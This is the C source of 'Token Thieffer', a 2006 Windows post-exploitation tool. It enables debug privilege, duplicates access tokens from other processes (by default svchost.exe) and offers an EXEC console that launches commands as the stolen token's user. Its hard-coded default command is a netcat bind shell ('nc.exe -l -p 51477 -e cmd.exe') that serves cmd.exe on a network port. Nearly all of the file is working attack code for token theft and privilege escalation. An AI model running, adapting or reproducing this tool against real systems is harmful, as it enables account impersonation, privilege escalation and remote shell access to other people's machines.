00001
00002
00003
00004
00005
00006
00007
00008
00009
00010
00011
00012
00013
00014
00015
00016
00017
00018
00019
00020
00021
00022
00023
00024
00025
00026
00027
00028
00029
00030
00031
00032 #include "Tthieffer.h"
00033
00034 NTQUERYOBJECT NtQueryObject ;
00035 NTQUERYSYSTEMINFORMATION NtQuerySystemInformation;
00036 NTCOMPARETOKENS NtCompareTokens;
00037
00038 DWORD WINAPI procesa(LPVOID lpvParam) ;
00039 DWORD ConsoleHandler(void);
00040 void banner(void);
00041 void usage(void);
00042 void EnableDebugPrivilege();
00043 LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass);
00044
00045
00046 CREDENCIALES credenciales[MAX_USERS];
00047 short InUse=0;
00048 char command[256]="nc.exe -l -p 51477 -e cmd.exe";
00049 BOOL SHOWALLTOKENS=0;
00050 #define LIMITED "svchost.exe"
00051
00052 int main(int argc, char *argv[])
00053 {
00054
00055 DWORD dwSize = sizeof(SYSTEM_HANDLE_INFORMATION);
00056 PSYSTEM_HANDLE_INFORMATION pHandleInfo ;
00057 NTSTATUS ntReturn;
00058
00059 int i;
00060 int total=0;
00061
00062 banner();
00063 for(i=1;i<argc;i++)
00064 {
00065 if (strcmp(argv[i],"-a")==0){
00066 SHOWALLTOKENS=TRUE;
00067 } else
00068 if (strcmp(argv[i],"-e")==0) {
00069 strcpy(command,argv[i+1]);
00070 i++;
00071 }
00072 else usage();
00073
00074 }
00075
00076 NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQuerySystemInformation");
00077 NtQueryObject= (NTQUERYOBJECT)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtQueryObject");
00078 NtCompareTokens= (NTCOMPARETOKENS)GetProcAddress(GetModuleHandle("NTDLL.DLL"), "NtCompareTokens");
00079 if (!NtCompareTokens) printf("[-] NtCompareTokens Is Unsupported\n");
00080
00081 EnableDebugPrivilege();
00082
00083 pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(dwSize);
00084 ntReturn = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
00085
00086 if(ntReturn == STATUS_INFO_LENGTH_MISMATCH){
00087 free(pHandleInfo);
00088 pHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(dwSize);
00089 ntReturn = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, dwSize, &dwSize);
00090 }
00091 if(ntReturn == STATUS_SUCCESS)
00092 {
00093 HANDLE hProcess ;
00094 DWORD i,CurrentProcessID = GetCurrentProcessId();
00095
00096
00097 for(i = 0; i < pHandleInfo->uCount; i++)
00098 {
00099 hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE, pHandleInfo->Handles[i].uIdProcess);
00100 if(hProcess != INVALID_HANDLE_VALUE)
00101 {
00102 HANDLE hObject = NULL;
00103 if(DuplicateHandle(hProcess, (HANDLE)pHandleInfo->Handles[i].Handle,
00104 GetCurrentProcess(), &hObject, STANDARD_RIGHTS_REQUIRED, FALSE, 0x02) != FALSE)
00105 {
00106 LPWSTR lpwsType=NULL ;
00107 lpwsType = GetObjectInfo(hObject, ObjectTypeInformation);
00108
00109 if ((lpwsType!=NULL) && !wcscmp(lpwsType, L"Token") )
00110 {
00111 DWORD dwLen;
00112 PSID pSid=NULL;
00113 TOKEN_USER *pWork=NULL;
00114 SID_NAME_USE use;
00115 char username[256]="";
00116 char domainname[256]="";
00117 LPSTR lpszProcess=NULL ;
00118 SECURITY_ATTRIBUTES sa;
00119
00120 lpszProcess = malloc(MAX_PATH);
00121 ZeroMemory(lpszProcess, MAX_PATH);
00122 GetModuleFileNameEx(hProcess, NULL, lpszProcess, MAX_PATH);
00123 sa.nLength = sizeof (SECURITY_ATTRIBUTES);
00124 sa.lpSecurityDescriptor = NULL;
00125 sa.bInheritHandle = FALSE;
00126
00127 if ((SHOWALLTOKENS) || (!strcmp(PathFindFileName(lpszProcess),LIMITED)) )
00128 {
00129
00130 if (DuplicateTokenEx(hObject,
00131
00132 MAXIMUM_ALLOWED,
00133 &sa,
00134 SecurityImpersonation,
00135 TokenPrimary,
00136 &credenciales[InUse].hToken) != 0)
00137 {
00138 total++;
00139 memset(username,'\0',256);
00140 memset(domainname,'\0',256);
00141 memset(credenciales[InUse].user,'\0',256);
00142
00143
00144 GetTokenInformation(credenciales[InUse].hToken, TokenUser, NULL, 0, &dwLen);
00145
00146
00147 pWork= (TOKEN_USER *)LocalAlloc( LMEM_ZEROINIT,dwLen);
00148 if (GetTokenInformation(credenciales[InUse].hToken, TokenUser, pWork, dwLen, &dwLen))
00149
00150 {
00151 dwLen = GetLengthSid(pWork->User.Sid);
00152 pSid= (PSID)LocalAlloc( LMEM_ZEROINIT,dwLen);
00153 CopySid(dwLen, pSid, pWork->User.Sid);
00154 dwLen=256;
00155 LookupAccountSid(NULL, pSid, &username[0], &dwLen, &domainname[0], &dwLen, &use);
00156 }
00157 sprintf(credenciales[InUse].user,"\\\\%s\\%s",domainname,username);
00158 credenciales[InUse].pid=pHandleInfo->Handles[i].uIdProcess;
00159 if (ExisteUsuario(InUse)) {
00160 CloseHandle(credenciales[InUse].hToken);
00161
00162 } else{
00163 if (InUse==0) printf(" PID Handle Process Name Token Information\n");
00164 InUse++;
00165 }
00166
00167
00168 printf("%5d\t%6.4x\t%-18s\\\\%s\\%s\t\n",
00169 pHandleInfo->Handles[i].uIdProcess,
00170 pHandleInfo->Handles[i].Handle,
00171 ((lstrlen(lpszProcess) > 0)?PathFindFileName(lpszProcess):"[System]"),
00172 domainname,
00173 username);
00174
00175
00176
00177 } else {
00178 #ifdef _DBG_
00179 printf("%5i\t%6x\t%-18s<NOT DUPLICABLE %i>\n",
00180 pHandleInfo->Handles[i].uIdProcess,
00181 pHandleInfo->Handles[i].Handle,
00182 ((lstrlen(lpszProcess) > 0)?PathFindFileName(lpszProcess):"[System]"),
00183 GetLastError());
00184 #endif
00185 }
00186 }
00187 free(lpszProcess);
00188 free(lpwsType);
00189 }
00190 CloseHandle(hObject);
00191 }
00192
00193 CloseHandle(hProcess);
00194 }
00195 }
00196 }
00197 if (!InUse) {
00198 printf("No Tokens available. Press any key to continue\n");
00199 exit(1);
00200 } else {
00201 printf(" Found %i tokens\n",total);
00202 ConsoleHandler();
00203 }
00204 return 0;
00205 }
00206
00207
00208 LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass)
00209 {
00210 LPWSTR data = NULL;
00211 DWORD dwSize = sizeof(OBJECT_NAME_INFORMATION);
00212 POBJECT_NAME_INFORMATION pObjectInfo = (POBJECT_NAME_INFORMATION) malloc(dwSize);
00213
00214 NTSTATUS ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
00215 if((ntReturn == STATUS_BUFFER_OVERFLOW) || (ntReturn == STATUS_INFO_LENGTH_MISMATCH)){
00216 pObjectInfo =realloc(pObjectInfo ,dwSize);
00217 ntReturn = NtQueryObject(hObject, objInfoClass, pObjectInfo, dwSize, &dwSize);
00218 }
00219 if((ntReturn >= STATUS_SUCCESS) && (pObjectInfo->Buffer != NULL))
00220 {
00221 data = (LPWSTR) malloc(pObjectInfo->Length + sizeof(WCHAR));
00222 CopyMemory(data, pObjectInfo->Buffer, pObjectInfo->Length);
00223 }
00224 free(pObjectInfo);
00225 return data;
00226 }
00227
00228 DWORD WINAPI procesa(LPVOID lpvParam) {
00229
00230 SECURITY_ATTRIBUTES sa;
00231 STARTUPINFO si;
00232 PROCESS_INFORMATION pi;
00233
00234 ZeroMemory( &si, sizeof(STARTUPINFO));
00235 sa.nLength = sizeof (SECURITY_ATTRIBUTES);
00236 sa.lpSecurityDescriptor = NULL;
00237 sa.bInheritHandle = FALSE;
00238 si.cb = sizeof(si);
00239 si.lpDesktop = NULL;
00240 printf("[Thread ID: %i] Creating New Process %s\n", GetCurrentThreadId(),command);
00241
00242
00243 if(!CreateProcessAsUser(credenciales[(int)lpvParam].hToken,NULL, command, &sa,
00244 &sa,FALSE, 0,NULL,"c:\\",&si, &pi)) {
00245 printf("[Thread ID: %i] CreateProcessAsUser Failed - GetLastError: %d\n",GetCurrentThreadId(), GetLastError());
00246 fflush(stdout);
00247 } else {
00248 WaitForSingleObject(pi.hProcess,INFINITE);
00249 }
00250 _endthread();
00251 return(1);
00252 }
00253
00254 void ShowHelp(void){
00255
00256 printf("EXEC <number> --> Execute a command with selected the token \n");
00257 printf("EXIT --> Close all Handles and exit Process \n");
00258 printf("---------------------------------------------------------------\n");
00259 }
00260
00261 void ShowTokens(void){
00262 int i;
00263 printf("---------------------------------------------------------------\n");
00264 printf(" ID: PID\tToken Information:\n\n");
00265 for(i=0;i<InUse;i++)
00266 {
00267 printf(" %2.2i\t%4.4i\t%s\n",i,credenciales[i].pid,credenciales[i].user);
00268 }
00269 printf("---------------------------------------------------------------\n");
00270 printf("Usage: EXEC <number> --> Execute a command ------------------\n");
00271 printf("---------------------------------------------------------------\n");
00272 }
00273
00274 DWORD ConsoleHandler(void) {
00275
00276 int iReadLenght;
00277 int TokenID=0;
00278 char ReadBuffer[256];
00279
00280 HANDLE hThread;
00281 DWORD dwThreadId;
00282
00283
00284 #define EXEC "EXEC"
00285 #define EXIT "EXIT"
00286 #define CMD "CMD"
00287 #define SHOWTOKENS "SHOWTOKENS"
00288
00289 printf("Press enter to continue. Type \"exit\" to end program\n");
00290 getchar();
00291 ShowTokens();
00292
00293 while(1) {
00294 fflush(stdout);
00295
00296 memset(&ReadBuffer[0],'\0',sizeof(ReadBuffer));
00297 scanf("%s",ReadBuffer);
00298 if (strnicmp(ReadBuffer,EXEC,strlen(EXEC))==0)
00299 {
00300
00301
00302 scanf("%i",&TokenID);
00303
00304 if (TokenID<InUse)
00305 {
00306 hThread = CreateThread(NULL,0,procesa,(LPVOID) TokenID,0,NULL);
00307 if (hThread == NULL)
00308 {
00309 printf("CreateThread failed");
00310 }
00311 else
00312 {
00313 CloseHandle(hThread);
00314 }
00315 }
00316 } else
00317 if (strnicmp(ReadBuffer,EXIT,strlen(EXIT))==0)
00318 {
00319 int i;
00320 for(i=0;i<InUse;i++) {
00321 CloseHandle(credenciales[i].hToken);
00322 }
00323 exit(1);
00324 } else
00325 {
00326 ShowHelp();
00327 }
00328 }
00329 }
00330
00331 BOOL ExisteUsuario(int InUse)
00332 {
00333 int i;
00334 BOOL result=TRUE ;
00335 if (InUse>0){
00336 for(i=0;i<InUse;i++){
00337 if (NtCompareTokens!=INVALID_HANDLE_VALUE)
00338 NtCompareTokens(credenciales[i].hToken,credenciales[InUse].hToken,&result);
00339 if ( (strcmp(credenciales[InUse].user,credenciales[i].user)==0) && (result == TRUE) ){
00340
00341
00342
00343
00344 return(1);
00345 }
00346 }
00347 }
00348 return(0);
00349 }
00350
00351 void banner(void){
00352 printf(" Token Thieffer for Windows (c) 2006\n");
00353 printf(" Author: Andres Tarasco ( atarasco @ sia . es )\n");
00354 printf(" URL: http://www.514.es\n\n");
00355 }
00356
00357 void usage(void)
00358 {
00359 printf(" Usage:\n");
00360 printf(" TThieffer.exe -a (Show all duplicable tokens)\n");
00361 printf(" -e \"command\" (changes default command)\n");
00362 printf(" -? (Shows this help)\n\n");
00363 exit(1);
00364 }
00365
00366 void EnableDebugPrivilege()
00367 {
00368 HANDLE hToken;
00369 TOKEN_PRIVILEGES tokenPriv;
00370 LUID luidDebug;
00371 if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken) != FALSE) {
00372 if(LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luidDebug) != FALSE)
00373 {
00374 tokenPriv.PrivilegeCount = 1;
00375 tokenPriv.Privileges[0].Luid = luidDebug;
00376 tokenPriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
00377 AdjustTokenPrivileges(hToken, FALSE, &tokenPriv, sizeof(tokenPriv), NULL, NULL);
00378 }
00379 }
00380 }
00381